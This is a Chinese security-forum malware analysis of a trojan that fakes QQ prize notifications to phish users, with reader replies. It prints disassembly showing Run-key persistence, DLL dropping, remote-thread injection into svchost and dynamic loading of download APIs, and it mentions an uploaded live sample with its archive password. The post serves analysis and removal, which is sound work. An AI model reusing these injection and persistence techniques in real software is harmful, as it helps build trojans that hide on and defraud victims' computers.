利用QQ中奖钓鱼木马分析
本帖最后由 willJ 于 2012-5-3 17:47 编辑好久没有分析过病毒啦,为了练手就去down了一个样本来玩玩,没有想到居然是一个钓鱼的,记得我高中就被这样单纯的钓过。一. 病毒描述:通过运行这个病毒,病毒会去下载很多东西回来,并模仿弹出QQ系统消息,告知用户中奖了,用户如果点击了就进入了钓鱼的界面。二. 病毒文件:三. 病毒母体的工作流程:1. 先查壳,如图:可见是c写的,但是作者应该做了区段合并的操作,可能是为了减小体积吧。2. 做了一系列的获取system32还有自身位置的操作,然后将c:\windows\system32\updater.exe写入注册表,做自启动:
.text:00401D80 push eax ; phkResult
.text:00401D81 push offset SubKey ; 00401D81|.68 50134000 "SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
.text:00401D86 push 80000002h ; hKey
.text:00401D8B rep movsb
.text:00401D8D call RegCreateKeyA
…
.text:00401DB7 push ecx ; cbData
.text:00401DB8 lea ecx,
.text:00401DBC push ecx ; lpData
.text:00401DBD push 1 ; dwType
.text:00401DBF push eax ; Reserved
.text:00401DC0 push offset ValueName ; "updater"
.text:00401DC5 push edx ; hKey
.text:00401DC6 call RegSetValueExA
3. 接着获取了temp目录,准备在temp目录下释放文件:
.text:00401E25 push ecx ; lpBuffer
.text:00401E26 push 0FFh ; nBufferLength
.text:00401E2B stosb
.text:00401E2C call GetTempPathA
…
获取好了temp目录后做了资源文件释放的操作,最后在temp目录下面释放了一个tmp.tmp的文件:
.text:00401628 push ebx
.text:00401629 push esi
.text:0040162A push edi
.text:0040162B and ecx, 0FFFFh
.text:00401631 push eax ; lpType
.text:00401632 push ecx ; lpName
.text:00401633 push 0 ; hModule
.text:00401635 call FindResourceA
.text:0040163B mov esi, eax
.text:0040163D test esi, esi
.text:0040163F jz short loc_4016A1
.text:00401641 push esi ; hResInfo
.text:00401642 push 0 ; hModule
.text:00401644 call SizeofResource
.text:0040164A mov ebx, eax
.text:0040164C test ebx, ebx
.text:0040164E jz short loc_4016A1
.text:00401650 push esi ; hResInfo
.text:00401651 push 0 ; hModule
.text:00401653 call LoadResource
.text:00401659 mov edi, eax
.text:0040165B test edi, edi
.text:0040165D jz short loc_4016A1
.text:0040165F mov edx,
.text:00401663 push 0 ; hTemplateFile
.text:00401665 push 0 ; dwFlagsAndAttributes
.text:00401667 push 2 ; dwCreationDisposition
.text:00401669 push 0 ; lpSecurityAttributes
.text:0040166B push 0 ; dwShareMode
.text:0040166D push 40000000h ; dwDesiredAccess
.text:00401672 push edx ; lpFileName
.text:00401673 call CreateFileA
.text:00401679 mov esi, eax
.text:0040167B test esi, esi
.text:0040167D jnz short loc_401683
.text:0040167F pop edi
.text:00401680 pop esi
.text:00401681 pop ebx
.text:00401682 retn
.text:00401683 ; ---------------------------------------------------------------------------
.text:00401683
.text:00401683 loc_401683: ; CODE XREF: sub_401620+5Dj
.text:00401683 lea eax,
.text:00401687 push 0 ; lpOverlapped
.text:00401689 push eax ; lpNumberOfBytesWritten
.text:0040168A push ebx ; nNumberOfBytesToWrite
.text:0040168B push edi ; hResData
.text:0040168C call LockResource
.text:00401692 push eax ; lpBuffer
.text:00401693 push esi ; hFile
.text:00401694 call WriteFile
.text:0040169A push esi ; hObject
.text:0040169B call CloseHandle
4. 获取system32目录的svchost文件,然后启动这个文件,为后面远线程注入做准备:
.text:00401F54 push ecx ; lpStartupInfo
.text:00401F55 push 0 ; lpCurrentDirectory
.text:00401F57 push 0 ; lpEnvironment
.text:00401F59 push 4 ; dwCreationFlags
.text:00401F5B push 0 ; bInheritHandles
.text:00401F5D push 0 ; lpThreadAttributes
.text:00401F5F push 0 ; lpProcessAttributes
.text:00401F61 push offset CommandLine ; lpCommandLine
.text:00401F66 push edx ; lpApplicationName
.text:00401F67 call CreateProcessA
…
5.开始进行远线程注入了,将刚释放的tmp.tmp文件(其实是一个dll)注入到svchost中。
.text:004016F5 push ecx ; dwProcessId
.text:004016F6 push 0 ; bInheritHandle
.text:004016F8 push
43Ah ; dwDesiredAccess
.text:004016FD call OpenProcess
…
.text:00401715 push 40h ; flProtect
.text:00401717 push 3000h ; flAllocationType
.text:0040171C push 104h ; dwSize
.text:00401721 push 0 ; lpAddress
.text:00401723 push esi ; hProcess
.text:00401724 call VirtualAllocEx
…
.text:0040173C push 0 ; lpNumberOfBytesWritten
.text:0040173E lea edx,
.text:00401742 push 104h ; nSize
.text:00401747 push edx ; lpBuffer
.text:00401748 push edi ; lpBaseAddress
.text:00401749 push esi ; hProcess
.text:0040174A call WriteProcessMemory
…
.text:0040177C lea ecx,
.text:00401780 push ecx ; lpThreadId
.text:00401781 push 0 ; dwCreationFlags
.text:00401783 push edi ; lpParameter
.text:00401784 push
eax ; lpStartAddress
.text:00401785 push 0 ; dwStackSize
.text:00401787 push 0 ; lpThreadAttributes
.text:00401789 push esi ; hProcess
.text:0040178A call CreateRemoteThread
6.动态获取下载相关的API,为后面的下载做准备:
text:004017E0 sub esp, 120h
.text:004017E6 push ebx
.text:004017E7 push ebp
.text:004017E8 push esi
.text:004017E9 mov esi, LoadLibraryA
.text:004017EF push
edi
.text:004017F0 push offset aInternetopena ;
"InternetOpenA"
.text:004017F5 push offset LibFileName ;
"wininet.dll"
.text:004017FA call esi ; LoadLibraryA
.text:004017FC mov edi, GetProcAddress
.text:00401802 push eax ; hModule
.text:00401803 call edi ; GetProcAddress
.text:00401805 push offset aInternetopenur ; "InternetOpenUrlA"
.text:0040180A push offset LibFileName ;
"wininet.dll"
.text:0040180F mov ebx, eax
.text:00401811 call esi ; LoadLibraryA
.text:00401813 push eax ; hModule
.text:00401814 call edi ; GetProcAddress
.text:00401816 push offset aInternetcloseh ;
"InternetCloseHandle"
.text:0040181B push offset LibFileName ;
"wininet.dll"
.text:00401820 mov ebp,
eax
.text:00401822 call esi ; LoadLibraryA
.text:00401824 push eax ; hModule
.text:00401825 call edi ; GetProcAddress
7.开始执行下载任务:
.text:00401827 push 0
.text:00401829 push 0
.text:0040182B push 0
.text:0040182D push 0
.text:0040182F push offset aBaidu ; "baidu"
.text:00401834 mov , eax
.text:00401838 call
ebx
下面全部是下载来的东东:然后打开了一个导航网站:在电脑的右下角出现了很熟悉的东西,当时虚拟机就没有QQ运行,居然还弹了通知出来,还有中奖信息:那我就点进去看看,马上浏览器弹出一个对话框:做得很是仿真啊,继续下一步吧:正确输入后:然后就开始收集个人信息了:填写完信息后:这里就开始让人汇款过去了:这些东东就是下载者下载过来的。
四. 总结以及对策:这个木马主要是通过注入到svchost(为了隐藏自己),然后通过网络去下载它需要钓鱼的程序,通过钓鱼来达到获取利益的目的。
在注册表中,找到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,删除这个键值。结束掉和这个程序有关的进程:删除掉C:\Documents and Settings\Administrator\Local Settings\Temp里面木马下载的文件:删除掉桌面上劫持的IE图标:更简单的清除方法就是用安全软件清除,比如360安全卫士,360杀毒完全可以解决这些问题。本人刚学病毒分析,很多东西分析得不好,还请各位大牛多多指点,指导,小弟会多多向您们学习的。最后上传下病毒样本吧,解压密码:52pojie
果断支持!!! 膜拜J牛;
人帅也就算了,写的文章还那么帅 学习的东西,真多呀, Peace 发表于 2012-5-3 16:22 static/image/common/back.gif
膜拜J牛;
人帅也就算了,写的文章还那么帅
P叔夸奖了{:301_975:} 前排支持很详细啊膜拜啊! 前排支持。很详细哦。 下载那里也分析下地址啥的,还有桌面图标生成等行为也搞下分析吧?名字修改成钓鱼木马分析之类的吧。
Hmily 发表于 2012-5-3 17:38 static/image/common/back.gif
下载那里也分析下地址啥的,还有桌面图标生成等行为也搞下分析吧?名字修改成钓鱼木马分析之类的吧。
好的 学习加支持